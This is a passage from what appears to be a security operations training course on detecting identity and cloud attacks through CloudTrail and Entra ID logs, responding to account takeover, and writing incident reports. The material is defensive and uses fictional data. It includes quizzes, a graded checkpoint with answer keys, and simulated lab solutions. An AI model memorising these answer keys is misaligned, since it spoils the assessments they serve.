 - C) ROOT
 - D) AKIA
3. Where do you find the role in an AssumeRole event?
 - A) eventTime
 - B) requestParameters.roleArn
 - C) userAgent
 - D) awsRegion
4. Many AccessDenied events across services from one key suggest?
 - A) Normal backups
 - B) Log delay
 - C) Permission enumeration by a possible intruder
 - D) DNS failure

Answers: 1-D 2-A 3-B 4-C

1. No errorCode indicates success.
2. ASIA keys come from STS sessions.
3. The role ARN is in the request parameters.
4. Testing permissions causes diverse denials.

Entra ID sign-in analysis

Sign-in logs are the first place to look in an identity incident. Each field tells you whether authentication succeeded, why, and how risky it looked.

Core sign-in fields

Each Entra sign-in record has the time, user principal name, application, IP address, location, device details, client app, user agent and a status block with an errorCode. ErrorCode 0 means success. Common failures: 50126 invalid username or password; 50053 account locked by smart lockout; 50057 account disabled; 50055 password expired; 50034 user not found; 50074 strong authentication required; 50076 MFA required by policy; 500121 MFA authentication failed; 53003 blocked by conditional access. A correlation ID and a session ID let you link related events, and the sign-in type (interactive or non-interactive) matters because token refreshes appear as non-interactive.

Conditional access

The conditionalAccessStatus is success, failure or notApplied. The appliedConditionalAccessPolicies list shows each policy's result: success, failure, notApplied or notEnabled. A sign-in with status notApplied for every policy means nothing evaluated it, which can reveal a policy gap such as legacy authentication or excluded accounts. Report-only results show what would have happened. Legacy protocols such as IMAP, POP and SMTP AUTH cannot do MFA, so they are favorite targets for password attacks and should be blocked by policy.

MFA details

Authentication details list each step: password, then MFA with the method used, such as Microsoft Authenticator push, SMS, phone call, FIDO2 or TOTP, and the result detail. The authenticationRequirement shows singleFactorAuthentication or multiFactorAuthentication. A successful sign-in with singleFactor for a sensitive app is notable. Also check whether MFA was satisfied by claim in the token, which means the session reused an earlier MFA result, a detail relevant to token theft.

Risk levels

Entra ID Protection adds riskLevelDuringSignIn and riskLevelAggregated with values none, low, medium or high, and riskState such as atRisk, confirmedCompromised or remediated. Risk detections include anonymized IP address, unfamiliar sign-in properties, impossible travel, malicious IP, leaked credentials, anomalous token and token issuer anomaly. Risk is a probability signal, not proof. Combine it with the actual facts: where the IP came from, whether the user normally uses that device and what the account did after signing in.

Remember that the portal also shows summary views like the Risky sign-ins and Risky users reports, but raw log queries in Log Analytics with KQL provide far greater control. A typical query selects SignInLogs where ResultType is 50126, groups by IPAddress and counts distinct UserPrincipalName, and sorts by that count. Becoming comfortable with KQL's summarize, dcount and bin operators is essential for analysts working in Microsoft environments, and the same patterns apply in SPL and other query languages.

SIGN-IN RECORD (TRIMMED)

```
time: 2026-10-03T08:14:51Z user: jdoe@example.com
app: Office 365 Exchange Online ip: 198.51.100.23 (Country X)
status.errorCode: 0 conditionalAccessStatus: success
authenticationRequirement: multiFactorAuthentication
MFA: satisfied by claim in the token
riskLevelDuringSignIn: medium riskEventTypes: anomalousToken
sessionId: 0f2e-FAKE-9a11 deviceDetail: (unmanaged)
```

WORKED EXAMPLE

A fictional sign-in for jdoe@example.com succeeds with errorCode 0 from an unfamiliar IP, with the MFA requirement 'satisfied by claim in the token', risk medium, and event type anomalousToken on an unmanaged device. The analyst notes that no MFA prompt appeared in this session, which suggests an existing token was reused rather than a fresh login. She checks the session ID against earlier sign-ins from the user's usual IP, which matches, and escalates as suspected token theft.

KEY TERMS

Error code 50126: Invalid username or password.

Error code 53003: Blocked by conditional access.

conditionalAccessStatus: Result of evaluating conditional access policies.

Non-interactive sign-in: Token refresh by an app without user input.

riskLevelDuringSignIn: Entra ID Protection risk rating for that sign-in.

REMEMBER

- ErrorCode 0 is success; know 50126, 50053, 50076, 500121 and 53003.
- Check conditional access results and the MFA authentication details.
- Treat risk levels as signals to verify with facts.

QUICK CHECK

1. Which error code means invalid username or password?
 - A) 50076
 - B) 0
 - C) 50126
 - D) 53003
2. What does conditionalAccessStatus notApplied for all policies suggest?
 - A) Strong protection
 - B) MFA succeeded
 - C) No policy evaluated the sign-in, a possible gap
 - D) Blocked sign-in
3. Why is legacy authentication a risk?
 - A) It is encrypted
 - B) It cannot do MFA
 - C) It is slow
 - D) It uses FIDO2
4. A high risk level means?
 - A) Account disabled
 - B) Proven compromise
 - C) A probability signal requiring verification
 - D) MFA succeeded

Answers: 1-C 2-C 3-B 4-C

1. 50126 is a failed credential.
2. Policies did not apply, indicating exclusion or gap.
3. Legacy protocols bypass MFA.
4. Risk is a signal, not proof.

Password spraying and token theft

Attackers rarely break in with exploits against cloud identity. They guess passwords, trick users into approving sign-ins or steal session tokens, and each leaves recognizable log patterns.

Password spraying

Spraying tries one or a few common passwords, such as a season and year, against many accounts, so no single account reaches the lockout threshold. In Entra sign-in logs it appears as many 50126 failures from one IP or a small set of IPs across many different users in a short time, followed by occasional success (errorCode 0) or by 50053 for accounts that did lock. Variants spread attempts over hours or through rotating residential proxies, so detect with a threshold such as ten or more distinct users failed from one source in thirty minutes, and also by distinct users per IP over days. Legacy endpoints and non-interactive logs are frequent targets.

Adversary-in-the-middle phishing and token replay

AiTM phishing uses a reverse proxy page that relays the real Microsoft login to the victim. The user completes MFA, and the attacker captures the session cookie, bypassing MFA. Indicators: a successful sign-in followed by a second sign-in from a different IP and user agent reusing the same session or token without a new MFA prompt, 'MFA satisfied by claim in the token', anomalousToken or tokenIssuerAnomaly risk detections, and new inbox rules or MFA method registrations shortly afterwards. Phishing-resistant methods like FIDO2 and token protection reduce the risk.

MFA fatigue

In MFA fatigue, an attacker who already has the password triggers repeated push prompts, hoping the user approves one to make them stop. Logs show many 500121 failures or denied responses, or error 50074, in rapid succession for one user, often at night, then a success. Number matching and additional context in Authenticator make blind approval harder. Detect a burst of MFA denials, then a success from a new IP. Always contact the user through a separate channel to learn whether they initiated the prompts.

Putting the signals together

One log line rarely proves compromise. Build a timeline per user: failed attempts, first success, location and device changes, token or session reuse, then post-login actions such as audit log events for MFA method addition, mailbox rule creation, OAuth consent and role changes. Compare with the user's baseline. A successful login after a spray against a service account that normally logs in from fixed IP addresses is stronger evidence than the spray alone. This correlation separates noisy internet scanning from actual account takeover.

Be cautious with attribution of country from IP address: geolocation is approximate, and attackers use residential proxies or cloud hosts near the victim to blend in. Do not treat a sign-in from the user's home country as safe or one from abroad as proof of attack. Instead compare device identifiers, user agent, ASN, token claims, the time pattern and what actions followed. Also record whether the account is privileged or a service account, since that changes urgency and the audience for escalation.

SPRAY PATTERN

```
08:01:02Z 203.0.113.40 user01@example.com 50126
08:01:05Z 203.0.113.40 user02@example.com 50126
08:01:09Z 203.0.113.40 user03@example.com 50126
... (118 distinct users, same IP, 30 min)
08:19:44Z 203.0.113.40 user57@example.com 0 (success, no MFA claim)
Summary: 1 IP, 118 users, 1 password guess each
```

WORKED EXAMPLE

A query groups failed sign-ins by source IP and counts distinct users: 203.0.113.40 tried 118 accounts in 30 minutes, once each, and one account succeeded. Because each account failed only once, no lockouts fired. The analyst checks user57@example.com: the sign-in used legacy IMAP authentication, bypassing MFA. She escalates, blocks the IP, disables legacy authentication, and starts the response process for the one compromised account.

KEY TERMS

Password spraying: One or few passwords tried against many accounts.

AiTM phishing: Reverse-proxy phishing that steals the session cookie after MFA.

Session token replay: Reusing a stolen token from another device or IP.

MFA fatigue: Spamming push prompts until the user approves.

Number matching: Authenticator feature requiring the user to enter a displayed number.

REMEMBER

- Spray: many users, one source, one guess each, mostly 50126.
- AiTM and token replay: same session from a different IP, MFA by claim.
- MFA fatigue: bursts of denied prompts followed by success; verify with user.

QUICK CHECK

1. Which pattern indicates password spraying?
 - A) One source failing across many accounts with one guess each
 - B) Many failures for one user
 - C) Large downloads
 - D) One success
2. What indicates token replay?
 - A) Disabled account
 - B) DNS tunneling
 - C) Same session from a new IP without new MFA
 - D) Wrong password
3. What is a strong defense against AiTM?
 - A) Phishing-resistant MFA such as FIDO2
 - B) Longer passwords only
 - C) SMS codes
 - D) Hiding the login page
4. MFA fatigue appears as?
 - A) Burst of denied prompts then a success
 - B) DNS errors
 - C) CloudTrail failures
 - D) One denial

Answers: 1-A 2-C 3-A 4-A

1. One attempt per many accounts avoids lockout.
2. Reuse of the token bypasses MFA prompts.
3. FIDO2 is bound to the real origin.
4. Repeated prompts followed by an approval.

SaaS alerts and identity response

After spotting a likely takeover, the order of response actions decides whether the attacker is truly removed or keeps access through a forgotten token or rule.

Triage common alerts

Impossible travel flags sign-ins from locations too far apart for the time elapsed; false positives come from VPNs, mobile carriers and corporate proxies, so verify the IPs, device and user explanation. Suspicious inbox rules are a classic post-compromise step: rules that forward mail to external addresses, move messages to RSS or Archive folders, delete security notices or mark messages read, created with New-InboxRule or through Outlook. Malicious OAuth consent grants give an application standing access to mail and files without a password, and survive password resets. Check Audit logs for 'Consent to application' and the granted scopes such as Mail.Read, offline_access and Files.ReadWrite.All.

Containment order

Respond to a confirmed account takeover in a sensible order. First revoke all refresh tokens and sessions for the user (for example Revoke-MgUserSignInSession or Revoke sessions in the portal), otherwise stolen tokens stay valid. Reset the password and require reauthentication. Review and remove attacker-added MFA methods, remove malicious inbox rules and forwarding settings, and review and revoke suspicious OAuth grants and app registrations. Resetting the password alone does not invalidate existing tokens or OAuth consent, so skipping the other steps leaves persistence.

Scoping the impact

After containment, determine what the attacker did. Search the Unified Audit Log for MailItemsAccessed, Send, FileDownloaded and SharePoint access by the account. Look for lateral phishing sent from the mailbox to internal users or partners, and check whether privileged roles were assigned or other accounts touched. Identify the initial vector, such as a phishing email, spray or leaked credentials, and which other users received the same lure. Document times in UTC and the evidence for each conclusion.

Prevention and follow-up

Recommend durable fixes: enforce MFA with phishing-resistant methods for admins, block legacy authentication, use conditional access to require compliant devices, restrict user consent to apps, enable number matching, enable sign-in risk policies that require reauthentication, and alert on new inbox forwarding rules. Notify the user, and where data was accessed, involve legal and privacy teams according to policy. Feed the detections used back into the detection engineering process so similar activity is caught earlier next time.

Communication is part of the response. Keep the user informed in plain language, avoid blaming them, and ask for facts such as whether they clicked a link, approved a prompt or installed an app. Where the compromised account belongs to an executive or an administrator, escalate immediately and extend the scope to include everything the account could reach. Track all actions in the case record with UTC times so the response can be reviewed and the timeline stays defensible.

CONTAINMENT STEPS

1. Revoke sessions: `Revoke-MgUserSignInSession -UserId jdoe@example.com`
2. Reset password: force change at next sign-in
3. Review MFA methods: remove unknown phone 555-0100 (fake)
4. Remove inbox rule: 'Fwd-Archive' -> forward to ext-fake@example.net
5. Revoke OAuth grant: 'MailSync Pro' (Mail.Read, offline_access)
6. Search UAL: MailItemsAccessed 10-03 08:14Z onward

WORKED EXAMPLE

A fictional user jdoe@example.com reports odd mail. The analyst finds a sign-in from an unfamiliar IP, an inbox rule forwarding invoices to ext-fake@example.net and an OAuth grant to 'MailSync Pro'. She revokes sessions first, then resets the password, removes the rule and the grant, and checks the MFA methods for an unknown phone. Searching the audit log shows 40 mail items accessed. She reports scope and recommends blocking user consent.

KEY TERMS

Revoke sessions: Invalidate refresh tokens so stolen sessions stop working.

Inbox rule: A mailbox rule that can forward or hide mail.

OAuth consent grant: Permission given to an app to access data without the password.

Impossible travel: Sign-ins too far apart in distance for the time between them.

MailItemsAccessed: Audit event showing mailbox items read.

REMEMBER

- Triage alerts with facts: IPs, devices, rules, grants.
- Contain in order: revoke sessions, reset password, remove rules, MFA methods and OAuth grants.
- Scope with audit logs and prevent with conditional access and consent controls.

QUICK CHECK

1. Which step invalidates stolen refresh tokens?
 - A) Clearing DNS cache
 - B) Revoking sessions
 - C) Reinstalling Office
 - D) Password reset alone
2. Why review OAuth grants after a takeover?
 - A) They are logs
 - B) They survive password resets
 - C) They block MFA
 - D) They expire daily
3. A common false positive for impossible travel is?
 - A) FIDO2
 - B) Strong passwords
 - C) Report-only mode
 - D) VPN or proxy exit points
4. What is a typical malicious inbox rule?
 - A) Add signature
 - B) Sort newsletters
 - C) Forward invoices to an external address and hide originals
 - D) Color-code mail

Answers: 1-B 2-B 3-D 4-C

1. Resetting a password does not always kill tokens.
2. Granted apps keep access regardless of password.
3. VPNs change apparent location.
4. Forwarding and hiding are attacker behaviors.

Trace CloudTrail activity

SCENARIO

Security received a notice that the bucket example-finance-data had its policy changed on the fictional AWS account 111122223333. You have the CloudTrail log viewer with filters on eventName, accessKeyId and sourceIPAddress. Your goal is to identify who really made the change.

OBJECTIVE

Follow an access key through AssumeRole to the bucket policy change and name the actor.

STEPS IN THE SIMULATOR

- 1 **Do:** Filter eventName = PutBucketPolicy

Simulator shows:

1 event: 2026-10-03T14:22:09Z, AssumedRole DevOpsRole, accessKeyId ASIAFAKEEXAMPLE1234, sourceIP 203.0.113.77

- 2 **Do:** Open the event and read userIdentity.arn

Simulator shows:

arn:aws:sts::111122223333:assumed-role/DevOpsRole/sess-fake

- 3 **Do:** Filter eventName = AssumeRole and responseElements containing ASIAFAKEEXAMPLE1234

Simulator shows:

1 event: 14:11:40Z, caller IAMUser dev-fake, accessKeyId AKIAFAKEEXAMPLE5678, sourceIP 203.0.113.77

- 4 **Do:** Filter all events by accessKeyId AKIAFAKEEXAMPLE5678

Simulator shows:

14:09:02Z GetCallerIdentity ok; 14:09:30Z ListRoles ok; 14:10:12Z ListBuckets ok; 14:11:40Z AssumeRole ok; 3 earlier AccessDenied on iam:ListUsers

- 5 **Do:** Check the IP history for dev-fake over the previous 30 days

Simulator shows:

Usual IPs: 192.0.2.0/24 office range. 203.0.113.77 appears for the first time on 2026-10-03

- 6 **Do:** Read the PutBucketPolicy requestParameters

Simulator shows:

Policy grants s3:GetObject to Principal '*' on example-finance-data

ANSWER

The actor is the IAM user dev-fake via compromised long-term key AKIAFAKEEXAMPLE5678, used from a new IP 203.0.113.77, who enumerated permissions, assumed DevOpsRole and made the bucket public with PutBucketPolicy. Disable the key, revert the policy and review S3 access.

Hint shown in the app: Search AssumeRole by the temporary key in responseElements, then pivot on the long-term key.

Detect a password spray

SCENARIO

The SIEM holds Entra ID sign-in logs for the fictional tenant example.com. The help desk reports many users seeing lockout emails and one executive confused by a prompt. Use KQL-style queries to determine whether a password spray occurred and from where.

OBJECTIVE

Show that one source tried one password against many users and find any successful account.

STEPS IN THE SIMULATOR

- 1 **Do:** Query failures by user: SigninLogs | where ResultType==50126 | summarize count() by UserPrincipalName | top 5

Simulator shows:

Top users each have 1 to 2 failures: no single account has many failures

- 2 **Do:** Query failures by IP: summarize dcount(UserPrincipalName), count() by IPAddress

Simulator shows:

203.0.113.40: 118 users, 121 attempts; next highest IP: 3 users

- 3 **Do:** Filter on 203.0.113.40 and list ResultType values

Simulator shows:

50126: 118; 50053: 3; 0: 1

- 4 **Do:** Show the success row

Simulator shows:

08:19:44Z user57@example.com ResultType 0, ClientApp: IMAP4, no MFA, conditionalAccessStatus notApplied

- 5 **Do:** Check the time span

Simulator shows:

First attempt 08:01:02Z, last 08:31:12Z (30 min)

- 6 **Do:** List accounts hit with 50053

Simulator shows:

3 accounts locked by smart lockout (user12, user40, user88)

ANSWER

A password spray came from 203.0.113.40: 118 distinct users with one guess each in 30 minutes. One account, user57@example.com, was compromised through legacy IMAP with no MFA. Block the IP, disable legacy authentication and begin account response for user57.

Hint shown in the app: Count distinct users per IP, not failures per user.

Spot token replay

SCENARIO

A user, asmith@example.com, was seen reading mail in a country she is not in, but the sign-in log shows MFA succeeded. Two sign-in rows share a session ID. Compare them in the log viewer to decide whether a token was stolen.

OBJECTIVE

Flag token theft by comparing two sign-ins with the same session ID but different IPs and devices.

STEPS IN THE SIMULATOR

- 1 **Do:** Open sign-in A (08:02Z) and note IP, device and MFA

Simulator shows:

IP 192.0.2.77 (office), Windows 11 managed, MFA: Authenticator push approved, sessionId 0f2e-FAKE-9a11

- 2 **Do:** Open sign-in B (08:41Z) and note IP, device and MFA

Simulator shows:

IP 198.51.100.23 (Country X), device unmanaged, Linux, MFA: satisfied by claim in the token, sessionId 0f2e-FAKE-9a11

- 3 **Do:** Compare user agents

Simulator shows:

A: Edge on Windows. B: python-requests/2.31

- 4 **Do:** Check risk fields on B

Simulator shows:

riskLevelDuringSignIn: medium, riskEventTypes: anomalousToken

- 5 **Do:** Check the audit log for asmith after 08:41Z

Simulator shows:

08:47Z New inbox rule 'Archive'; 08:52Z MFA method added: phone (fake number)

- 6 **Do:** Check whether there was a login attempt before B

Simulator shows:

No password sign-in from 198.51.100.23 before 08:41Z

ANSWER

Token replay: session 0f2e-FAKE-9a11 was created from the office with MFA, then reused from 198.51.100.23 on an unmanaged device with a scripting user agent and no new MFA, followed by an inbox rule and added MFA method. Treat as stolen session token; start account takeover response.

Hint shown in the app: Same session ID, different IP and device, and no new password or MFA event.

Respond to account takeover

SCENARIO

The token replay case on asmith@example.com is confirmed. An attacker created an inbox rule, added a phone MFA method and granted consent to an app named MailSync Pro. You must choose the response actions in the correct order. A wrong order lets the attacker keep access.

OBJECTIVE

Choose revoke sessions, reset password, remove malicious inbox rule and review OAuth grants in the correct order.

STEPS IN THE SIMULATOR

- 1 Do:** Select first action: Revoke all sessions and refresh tokens for asmith
Simulator shows:
Result: stolen session token 0f2e-FAKE-9a11 now invalid; attacker session ends
- 2 Do:** Select second action: Reset password and require MFA re-registration
Simulator shows:
Result: password changed; unknown phone MFA method removed during review
- 3 Do:** Select third action: Delete the inbox rule 'Archive' and forwarding to ext-fake@example.net
Simulator shows:
Result: rule removed; forwarding disabled
- 4 Do:** Select fourth action: Review OAuth grants and revoke 'MailSync Pro'
Simulator shows:
Result: grant revoked; app consent blocked for tenant
- 5 Do:** Select fifth action: Search UAL for MailItemsAccessed and Send after 08:41Z
Simulator shows:
Result: 40 items accessed, 0 sent externally
- 6 Do:** Select sixth action: Notify user and document in the case
Simulator shows:
Result: user informed; case updated with UTC timeline

ANSWER

Correct order: revoke sessions, reset password and review MFA methods, remove the inbox rule and forwarding, revoke the OAuth grant, scope impact with audit logs, then notify and document. Password reset alone would have left the token and grant active.

Hint shown in the app: Kill tokens first, then remove each persistence mechanism.

Cloud and Identity Detection: 10 questions, 80% to pass

1. Which CloudTrail events are disabled by default?
 - A) Data events
 - B) Digest files
 - C) Management events
 - D) Event history
2. What does a CloudTrail record without errorCode indicate?
 - A) Throttle
 - B) Console login
 - C) Failure
 - D) Success
3. Which prefix identifies a temporary AWS access key?
 - A) USER
 - B) ROOT
 - C) AKIA
 - D) ASIA
4. Where is the role named in a CloudTrail AssumeRole event?
 - A) awsRegion
 - B) readOnly
 - C) eventTime
 - D) requestParameters.roleArn
5. Entra error code 50126 means?
 - A) Invalid username or password
 - B) MFA required
 - C) Blocked by CA
 - D) Success
6. A spray is best detected by?
 - A) Distinct users failed per source IP
 - B) File size
 - C) DNS volume
 - D) Failures per user
7. Which sign-in detail suggests token replay?
 - A) Account disabled
 - B) Smart logout
 - C) MFA satisfied by claim in the token from a new IP and device
 - D) Wrong password
8. Which control best resists AiTM phishing?
 - A) Hidden login URL
 - B) SMS codes
 - C) FIDO2 phishing-resistant MFA
 - D) Longer password
9. What is the first containment step in a confirmed takeover?
 - A) Reboot the server
 - B) Revoke sessions and tokens
 - C) Change DNS
 - D) Delete the mailbox
10. Why check OAuth grants after a takeover?
 - A) They hold passwords
 - B) They lock accounts
 - C) They encrypt mail
 - D) They persist after a password reset

Answers: 1-A 2-D 3-D 4-D 5-A 6-A 7-C 8-C 9-B 10-D

1. Data events must be enabled.
2. No errorCode means the call succeeded.
3. ASIA keys are STS temporary credentials.
4. The roleArn is a request parameter.
5. 50126 is a failed credential.
6. Spraying spreads across users.
7. No fresh MFA with a changed context suggests a replayed token.
8. FIDO2 binds authentication to the genuine origin.
9. Stolen tokens would remain valid otherwise.
10. Granted apps retain access.

SOC Reporting and Communication

Intermediate | 3 lessons | 2 simulated labs | checkpoint | about 2h 35m

Finding an attack is only half of a SOC analyst's job; the other half is explaining it. This module teaches you to write incident reports with a UTC timeline, evidence and root cause, to escalate with the right facts for the right audience, to turn technical findings into short business summaries, and to document cases in a ticketing system so any colleague can continue your work. You will practice separating fact from assumption, defanging indicators and writing specific recommendations.

BY THE END YOU CAN

- + Write clear incident reports with facts, impact and timeline
- + Escalate with the right content to the right audience
- + Document cases in a ticketing system with consistent detail

IN THIS MODULE

Lesson 1 Incident report structure

Lesson 2 Escalation and executive summaries

Lesson 3 Ticketing and case documentation

Lab 1 Write the incident report (Chat sim)

Lab 2 Draft the escalation (Scenario)

Checkpoint 10 questions, 80% to pass

Incident report structure

A report is the permanent record of an incident; if it is vague, nobody can learn from it, act on it or defend it later.

Why the report exists

An incident report is the durable record of what happened, what it affected and what was done. Its readers differ widely: an incident manager wants status, a system owner wants to know what to fix, an auditor wants evidence of due diligence, and a future analyst wants to recognize the same pattern. Because the report may be read months later by someone who was not there, it must stand alone. It also may be used in legal, regulatory or insurance processes, so every statement should be traceable to evidence such as a log line, a ticket entry or a packet capture. Write it for a careful stranger, not for yourself.

The standard sections

Most teams use a similar skeleton. Start with a short summary: what happened, when, how severe, and current status. Next comes scope: which hosts, accounts, data and business services were affected, and which were checked and found clean. Then the timeline, then the evidence list, then root cause, then impact, actions taken and finally recommendations. Aligning with the NIST SP 800-61 lifecycle (preparation, detection and analysis, containment, eradication and recovery, post-incident activity) helps, because it makes the report map onto the phases responders already use. Metadata matters too: incident ID, author, classification, severity, report version and distribution list.

Timeline in UTC

The timeline is the backbone of the report and must use one time standard. Use UTC in ISO 8601 form, for example 2026-03-14T09:42:10Z, and state the offset if source systems log in local time. Mixed time zones are one of the most common ways a timeline becomes wrong, especially when a firewall logs in local time and an endpoint tool logs in UTC. Each entry has a timestamp, the event, the source of evidence and whether it is an observed fact or an inference. Distinguish attacker activity from defender activity, and mark key milestones: first malicious activity, detection, containment and recovery. From these you can derive dwell time and time to respond.

Root cause and recommendations

Root cause explains why the incident was possible, not only how the attacker acted. 'A user opened a phishing attachment' is a trigger; the root cause may be that macros from the internet were allowed and no MFA protected the mail account. Separate the initial access vector from the contributing control gaps. Recommendations should be specific, owned and prioritized: 'Enforce MFA on all mailbox logins, owner: IT, due in 30 days' beats 'improve security'. Tie each recommendation to a finding, and state the residual risk if it is not done. Avoid blame; describe systems and decisions, not careless people.

TIMELINE EXCERPT (FICTIONAL)

```
2026-03-14T09:42:10Z Phishing email delivered to user alice [mail gateway]
2026-03-14T09:47:31Z Attachment opened on WS-114 [EDR process tree]
2026-03-14T09:48:02Z Outbound HTTPS to 203.0.113.50 [proxy log]
2026-03-14T10:15:44Z Alert fired, ticket INC-2041 opened [SIEM]
2026-03-14T10:31:09Z WS-114 isolated from network [EDR action]
FACT: all rows above have a log source. INFERENCE: none.
```

WORKED EXAMPLE

An analyst closes a case about a malicious spreadsheet. Her draft says 'around 3 pm the user got something bad and we fixed it.' A reviewer returns it: no UTC time, no host, no evidence, no root cause. She rewrites it with a two-sentence summary, a six-row UTC timeline citing the mail gateway, EDR and proxy logs, a scope statement saying only WS-114 and one account were affected, a root cause (macros allowed from the internet) and three owned recommendations. Six months later, a new analyst finds the report and recognizes the same pattern within minutes.

KEY TERMS

Incident report: Formal record of an incident covering summary, scope, timeline, evidence, root cause and recommendations.

Timeline: Chronological list of events with timestamps, sources and fact or inference labels.

UTC: Coordinated Universal Time, the single time standard used to avoid time zone errors in records.

Root cause: The underlying weakness that made the incident possible, beyond the immediate trigger.

Dwell time: The period between first attacker activity and detection or containment.

Scope: The set of systems, accounts and data affected, plus what was verified as unaffected.

REMEMBER

- Write the report so a stranger can understand it without asking you anything.
- Use one time standard, UTC, and cite evidence for every timeline row.
- Separate trigger from root cause and make recommendations specific and owned.

QUICK CHECK

1. Which timestamp format is best for an incident timeline?

- A) 03/14/26 9:42 AM
- B) 2026-03-14T09:42:10Z
- C) 14 March, morning
- D) 09:42 local time

2. Which statement is a root cause rather than a trigger?

- A) The user opened the attachment
- B) Macros from the internet were permitted and mailbox login had no MFA
- C) The alert fired at 10:15Z
- D) The host was isolated

3. Why should each timeline row cite a source?

- A) To make the table longer
- B) So claims are verifiable and defensible later
- C) Because UTC requires it
- D) To assign blame

4. Which recommendation is best written?

- A) Improve email security
- B) Enforce MFA on all mailboxes, owner IT, due in 30 days
- C) Train users more
- D) Be more careful

Answers: 1-B 2-B 3-B 4-B

1. ISO 8601 in UTC is unambiguous and sorts correctly across sources.
2. A root cause names the control gap that enabled the event; opening the file was the trigger.
3. Evidence references let reviewers, auditors and later analysts verify each statement.
4. It is specific, owned, time-bound and tied to a finding.

Escalation and executive summaries

Escalating well gets the right people acting quickly; escalating badly wastes their time or hides the real risk.

When and why to escalate

Escalation moves a case to someone with more authority, skill or access. Typical triggers are defined in the playbook: confirmed compromise of a privileged account, evidence of data exfiltration, ransomware behavior, a critical business system affected, or a case that passes the analyst's tier. Waiting too long is the usual failure; a good rule is to escalate when you have enough facts to justify action, not when you have every answer. Escalation is not an admission of failure. It is a core SOC skill, because incident response needs decisions that analysts alone cannot make, such as taking a production server offline or notifying legal.

Facts versus assumptions

Every escalation should separate what is known from what is believed. Facts are observed and verifiable: 'EDR shows powershell.exe spawned by winword.exe on WS-114 at 09:47:31Z.' Assumptions are inferences: 'The attacker probably has the user's password.' Label them plainly, and state your confidence and what would confirm or refute each assumption. Also say what you do not know yet. Mixing the two causes real harm: a manager acting on an assumption stated as fact may shut down the wrong system or tell a customer something untrue. Precise wording such as 'confirmed', 'suspected' and 'not yet checked' keeps everyone aligned.

The escalation message

A strong escalation is short and ordered. Lead with the ask: what you need and by when. Then give a one-line summary, severity, affected assets, current containment state, key evidence with the ticket link, and next steps already planned. A useful pattern is SBAR: Situation, Background, Assessment, Recommendation. Send it through the channel defined in the runbook, such as the on-call pager for critical issues, and confirm receipt. Do not paste raw logs into a chat message; link the ticket instead. For after-hours or critical events, follow the call tree and note the time you notified each person, because that becomes part of the timeline.

Executive summaries

Leaders need to decide, not investigate. An executive summary uses plain language, avoids acronyms or defines them, and answers four questions: what happened, what is the business impact, what are we doing, and what do we need from you. Express impact in business terms such as customers affected, services down, money at risk, regulatory deadlines (for example, GDPR requires notifying the supervisory authority within 72 hours of becoming aware of a personal data breach). Keep it to a few sentences or one page. Be honest about uncertainty and give the next update time. Technical detail belongs in an appendix, not in the summary.

SBAR ESCALATION (FICTIONAL)

```
ASK: Approve isolating FILESRV-02 within 30 min.
S: Possible ransomware staging on FILESRV-02 (INC-2051).
B: 09:20Z EDR flagged mass file renames; user svc-backup used from 198.51.100.7.
A: CONFIRMED: renames on 3 shares. SUSPECTED: credential theft. UNKNOWN: any data copied out.
R: Isolate host, disable svc-backup, next update 10:30Z.
```

WORKED EXAMPLE

The incident manager reads two versions of an escalation. The first says 'weird stuff on the file server, lots of logs, please look.' The second leads with an ask to isolate FILESRV-02, lists confirmed and suspected items, links the ticket and gives a next update time. She approves in two minutes. Later, the analyst writes a five-sentence executive note for the director: a file server was targeted, finance files are unavailable, no evidence yet of data theft, recovery from backup is under way, and the next update is at noon.

KEY TERMS

Escalation: Passing a case to a person or tier with greater authority, skill or access.

SBAR: Situation, Background, Assessment, Recommendation: a structured communication format.

Executive summary: Short plain-language statement of what happened, business impact, actions and decisions needed.

Confidence level: How strongly the evidence supports a conclusion, stated explicitly.

Business impact: Effect on customers, revenue, operations, legal obligations or reputation.

Call tree: Defined sequence of contacts to notify during critical incidents.

REMEMBER

- Escalate when facts justify action, not when every question is answered.
- Separate confirmed, suspected and unknown, and lead with the ask.
- Executives get business impact, status and decisions needed in plain language.

QUICK CHECK

1. Which is a fact rather than an assumption?
 - A) The attacker likely stole credentials
 - B) EDR shows winword.exe spawned powershell.exe at 09:47:31Z
 - C) The campaign is probably criminal
 - D) Data was probably copied
2. What should an escalation message lead with?
 - A) Full log dump
 - B) Apology
 - C) The ask: what you need and by when
 - D) Detailed malware history
3. Which line fits an executive summary best?
 - A) Mimikatz was executed under SYSTEM
 - B) Finance file shares are unavailable; recovery under way; next update at noon
 - C) Event ID 4624 type 3 observed
 - D) Hash is on VirusTotal
4. Why label uncertainty explicitly?
 - A) To avoid doing analysis
 - B) So decision makers do not act on assumptions as if they were facts
 - C) Because policy forbids confidence levels
 - D) To make messages longer

Answers: 1-B 2-C 3-B 4-B

1. It is directly observed in a log; the others are inferences.
2. Leading with the ask lets the recipient decide quickly.
3. It states business impact and status in plain language.
4. Clear labels prevent wrong decisions based on unverified claims.

Ticketing and case documentation

The ticket is the shared memory of the SOC; good notes let any analyst pick up a case at any hour without starting over.

The ticket as shared memory

SOC teams track alerts and incidents in a ticketing or case management system such as ServiceNow, Jira, TheHive or the case module of a SIEM or SOAR platform. The ticket is where detection, investigation, decisions and handoffs live. Shift changes, vacations and escalations mean that a different person will often continue your work. If your notes live in your head or a private notepad, the investigation restarts from zero. Tickets also feed metrics such as mean time to detect and respond, support audits and compliance evidence, and provide training material. Treat every entry as something a colleague will rely on at three in the morning.

Observables and evidence

Record observables in a consistent, searchable form: IP addresses, domains, URLs, file hashes (SHA-256), email sender and message ID, usernames, hostnames and process names. Defang indicators in free text so they cannot be clicked, for example `hxxp://evil[.]example[.]com` or `203[.]0[.]113[.]50`. Note where each came from, with the log source and query used, and attach artifacts such as screenshots, exported logs and PCAP excerpts with their hashes. Record timestamps in UTC. Distinguish observables you verified from those reported by a user or a threat feed. Consistent fields make it possible to search past tickets for the same indicator later.

Actions, verdict and handoff

Document what you did and why, in order: queries run, tools used, containment taken, people contacted. Write enough that the work can be repeated. State a verdict using the team's vocabulary, commonly true positive, false positive, benign true positive or undetermined, with a one-line justification. Record the final disposition, such as closed, escalated or monitoring. For a handoff, add a short status block: current state, what is done, what remains, blockers, who owns the next step and when it is due. A good test is whether the next analyst can continue without asking you a single question.

Quality habits

